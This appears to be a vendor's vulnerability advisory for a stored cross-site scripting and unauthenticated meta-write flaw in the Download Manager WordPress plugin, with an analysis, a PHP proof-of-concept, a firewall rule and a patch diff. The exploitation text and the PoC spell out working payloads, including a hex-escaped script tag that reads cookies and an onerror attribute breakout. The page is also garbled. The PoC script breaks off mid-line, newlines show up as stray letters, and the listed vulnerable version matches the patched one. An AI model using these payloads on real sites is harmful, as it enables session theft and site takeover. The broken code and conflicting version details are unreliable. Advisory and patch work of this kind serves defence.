{
“analysis”: “Atomic Edge analysis of CVE-2026-14292: The Download Manager WordPress plugin versions up to 3.3.65 contain an unauthenticated stored cross-site scripting vulnerability. Atomic Edge research attributes the flaw to multiple unsafe input handling paths in the package management controller. The plugin is installed on sites that manage file downloads and digital products, and the CVSS score of 7.2 reflects network exploitable code execution in a victim’s browser session.nnRoot Cause: The vulnerability stems from four distinct defects in the patched files. First, in `download-manager/src/Package/PackageController.php` around line 120, the plugin applies `stripcslashes()` to `$post_vars[‘post_title’]`. This function decodes C-style hex escapes such as `\x3C` back into active markup after WordPress KSES sanitization has already run, allowing an attacker to smuggle “ tags past the filter. Second, the same pattern appears on line 140 where `stripcslashes()` wraps `wpdm_escs()` on `$post_vars[‘post_excerpt’]`. Third, line 222 builds a QR code `` tag by concatenating `$post_vars[‘page_url’]` and `$post_vars[‘title’]` directly into HTML attributes without `esc_attr()`, so a single quote in the title breaks out of the `alt` attribute. Fourth, in `addViewCount()` around line 2541, the plugin removed the nonce verification (`__::isAuthentic`) and casts `$_REQUEST[‘id’]` without checking `get_post_type()`, letting unauthenticated callers write `__wpdm_view_count` meta to any post. The `RestAPI.php` file registered `POST /wpdm/view-count` with `permission_callback => ‘__return_true’`, fully exposing that write path.nnExploitation: An unauthenticated attacker sends a POST request to `/wp-json/wpdm/view-count` with a body such as `id=123`. Because the endpoint returns `__return_true` for permissions and `addViewCount()` lacks nonce and post-type validation, the request increments arbitrary post meta. For the stored XSS payloads, an attacker who can reach the package save path submits `post_title=\x3Cscript\x3Ealert(document.cookie)\x3C/script\x3E` or `post_excerpt` containing similar escapes. The `stripcslashes()` call decodes the payload after KSES sanitization, planting executable script in the database. The QR code vector uses a title containing `’ onerror=’alert(1)` to break out of the `alt` attribute in the generated `
` tag. Victims trigger execution by viewing any page that renders the package listing, the QR code block, or the package detail view.nnPatch Analysis: Version 3.3.66 replaces every `stripcslashes()` call on stored input. The title path now uses `esc_html()`, which encodes “ before storage and cannot be reversed. The excerpt path drops `wpdm_escs()` and `stripcslashes()` in favor of `wp_kses_post()`. The QR code construction wraps `$post_vars[‘page_url’]` and `$post_vars[‘title’]` in `esc_attr()` to prevent attribute breakout. The `addViewCount()` handler restores `__::isAuthentic( ‘__wpdm_view_count’, NONCE_KEY, ‘read’, false )`, casts the ID through `__::valueof()`, and rejects any `get_post_type( $id )` that is not `wpdmpro`. `RestAPI.php` removes the `POST /wpdm/view-count` route entirely because the plugin never calls it internally. The before state allowed unauthenticated meta writes and post-sanitization escape decoding. The after state enforces nonce validation, type restriction, and context-appropriate output encoding.nnImpact: Successful exploitation yields stored cross-site scripting in the context of any authenticated user who views an injected package page, including administrators. Session cookies and nonces can be exfiltrated, leading to full site takeover through administrative action forgery. The unauthenticated view count write also enables denial of service through meta table bloat and can corrupt page analytics. Atomic Edge research rates this as a high severity issue for any site running Download Manager versions below 3.3.66 with public package submission or package rendering enabled.”,
“poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-14292 – Download Manager $code, ‘body’ => $resp ];n}nn// Step 1: Hit the removed REST route to confirm unauthenticated write access.n// The vulnerable version registers POST /wpdm/view-count with permission_callback => ‘__return_true’.n$view_count_url = rtrim( $target_url, ‘/’ ) . ‘/wp-json/wpdm/view-count’;n$r1 = send_request( ‘POST’, $view_count_url, ‘id=1’ );necho “[1] POST {$view_count_url} -> HTTP {$r1[‘code’]}\n”;necho ” Response: {$r1[‘body’]}\n”;nn// Step 2: Build a stored XSS payload. The hex escape \x3C becomes ‘ ‘wpdm_save_package’, // illustrative; plugin-specific hookn ‘post_title’ => $payload_title,n ‘post_excerpt’ => $payload_excerpt,n ‘post_content’ => ‘benign content’,n]);n$r2 = send_request( ‘POST’, $save_url, $body );necho “[2] POST {$save_url} -> HTTP {$r2[‘code’]}\n”;nn// Step 4: Demonstrate the QR code attribute breakout payload.n// Vulnerable code concatenates title into alt='{$title}’ without esc_attr().n$qr_payload = “x’ onerror=’alert(1)”;necho “[3] QR breakout payload: {$qr_payload}\n”;nn// Step 5: Instructions for verification.necho “[4] Visit the resulting package page or listing to trigger execution.\n”;n”,,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-14292n# Blocks unauthenticated access to the removed Download Manager REST routen# POST /wp-json/wpdm/view-count, which was the exposed state-changing write.nSecRule REQUEST_URI “@rx ^/wp-json/wpdm/view-count/?$” \n “id:20261429,phase:2,deny,status:403,chain,msg:’CVE-2026-14292 Download Manager unauthenticated view-count write’,severity:’CRITICAL’,tag:’CVE-2026-14292′,tag:’OWASP_CRS/WEB_ATTACK/STORED_XSS'”n SecRule REQUEST_METHOD “@streq POST” “t:none”
}

Published : November 15, 2026
CVE-2026-14292: Download Manager < 3.3.66 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule
CVE ID
CVE-2026-14292
Plugin
download-manager
Severity
High
(CVSS 7.2)
CWE
79
Vulnerable Version
3.3.66
Patched Version
3.3.66
Disclosed
August 4, 2026
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
Code Diff
--- a/download-manager/download-manager.php
+++ b/download-manager/download-manager.php
@@ -5,7 +5,7 @@
Description: Manage, Protect and Track file downloads, and sell digital products from your WordPress site. A complete digital asset management solution.
Author: W3 Eden, Inc.
Author URI: https://www.wpdownloadmanager.com/
-Version: 3.3.65
+Version: 3.3.66
Text Domain: download-manager
Domain Path: /languages
*/
@@ -40,7 +40,7 @@
global $WPDM;
-define('WPDM_VERSION','3.3.65');
+define('WPDM_VERSION','3.3.66');
define('WPDM_TEXT_DOMAIN','download-manager');
--- a/download-manager/src/Package/PackageController.php
+++ b/download-manager/src/Package/PackageController.php
@@ -117,12 +117,14 @@
$ID = $post_vars['ID'];
- $post_vars['title'] = stripcslashes( $post_vars['post_title'] );
+ // Never run stripcslashes() on stored input: it decodes C-style escapes
+ // ( x3C etc. ) back into active markup after save-time KSES has already run.
+ $post_vars['title'] = esc_html( $post_vars['post_title'] );
$template_tags = $this->parseTemplate( $template, $ID, $template_type );
if(in_array('description', $template_tags)) {
- $post_vars['description'] = stripcslashes( str_replace( "[wpdm", "[__wpdm", wp_kses_post( $post_vars['post_content'] ) ) );
+ $post_vars['description'] = str_replace( "[wpdm", "[__wpdm", wp_kses_post( $post_vars['post_content'] ) );
$post_vars['description'] = wpautop( stripslashes( $post_vars['description'] ) );
if($template_type === 'page') {
@@ -136,7 +138,7 @@
$post_vars['description'] = wpautop(strip_shortcodes( $post_vars['post_content'] ));
}
- $post_vars['excerpt'] = wpautop( stripcslashes( wpdm_escs( $post_vars['post_excerpt'] ) ) );
+ $post_vars['excerpt'] = wpautop( wp_kses_post( $post_vars['post_excerpt'] ) );
$author = get_user_by( 'id', $post_vars['post_author'] );
if ( is_object( $author ) ) {
$post_vars['author_name'] = $author->display_name;
@@ -217,7 +219,7 @@
$post_vars['link_label'] = isset( $post_vars['link_label'] ) ? esc_attr( $post_vars['link_label'] ) : esc_attr__( "Download", "download-manager" );
$post_vars['page_url'] = get_permalink( $post_vars['ID'] );
$post_vars['page_link'] = "<a href='" . $post_vars['page_url'] . "'>{$post_vars['title']}</a>";
- $post_vars['page_url_qr'] = "<img class='wpdm-qr-code wpdm-qr-code{$post_vars['ID']}' style='max-width: 250px' src='https://chart.googleapis.com/chart?cht=qr&chs=450x450&choe=UTF-8&chld=H|0&chl={$post_vars['page_url']}' alt='{$post_vars['title']}' />";
+ $post_vars['page_url_qr'] = "<img class='wpdm-qr-code wpdm-qr-code{$post_vars['ID']}' style='max-width: 250px' src='https://chart.googleapis.com/chart?cht=qr&chs=450x450&choe=UTF-8&chld=H|0&chl=" . esc_attr( $post_vars['page_url'] ) . "' alt='" . esc_attr( $post_vars['title'] ) . "' />";
if ( ! isset( $post_vars['btnclass'] ) ) {
@@ -2539,9 +2541,23 @@
function addViewCount() {
- //__::isAuthentic( '__wpdm_view_count', NONCE_KEY, 'read', false );
+ // Verify the request originated from a rendered package page. 'read' still
+ // permits guests, so this does not gate legitimate visitors - it only stops
+ // blind POSTs against this endpoint. Bails out via wp_send_json() on failure.
+ __::isAuthentic( '__wpdm_view_count', NONCE_KEY, 'read', false );
+
+ $id = (int) __::valueof( $_REQUEST, 'id', [ 'default' => 0, 'validate' => 'int' ] );
+
+ // Only packages get a view count. Without this, any ID could be used to
+ // create/increment __wpdm_view_count meta on arbitrary posts and pages.
+ if ( $id <= 0 || get_post_type( $id ) !== 'wpdmpro' ) {
+ wp_send_json( [
+ 'success' => false,
+ 'type' => 'error',
+ 'message' => __( 'Invalid package.', 'download-manager' )
+ ], 400 );
+ }
- $id = (int) ( $_REQUEST['id'] );
$views = (int) get_post_meta( $id, '__wpdm_view_count', true );
update_post_meta( $id, '__wpdm_view_count', $views + 1 );
wp_send_json( [ 'views' => $views + 1 ] );
--- a/download-manager/src/Package/RestAPI.php
+++ b/download-manager/src/Package/RestAPI.php
@@ -33,11 +33,12 @@
'permission_callback' => '__return_true'
));
- register_rest_route('wpdm', '/view-count', array(
- 'methods' => 'POST',
- 'callback' => [new PackageController(), 'addViewCount'],
- 'permission_callback' => '__return_true'
- ));
+ // NOTE: The POST /wpdm/view-count route was removed. It exposed a
+ // state-changing write (__wpdm_view_count post meta, on any post ID)
+ // to unauthenticated callers via permission_callback => '__return_true'.
+ // Nothing in the plugin ever called it - view counts are recorded
+ // through the 'wpdm_view_count' admin-ajax action (see addViewCount()),
+ // which verifies a nonce and constrains the ID to the wpdmpro type.
}
}
Frequently Asked Questions
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






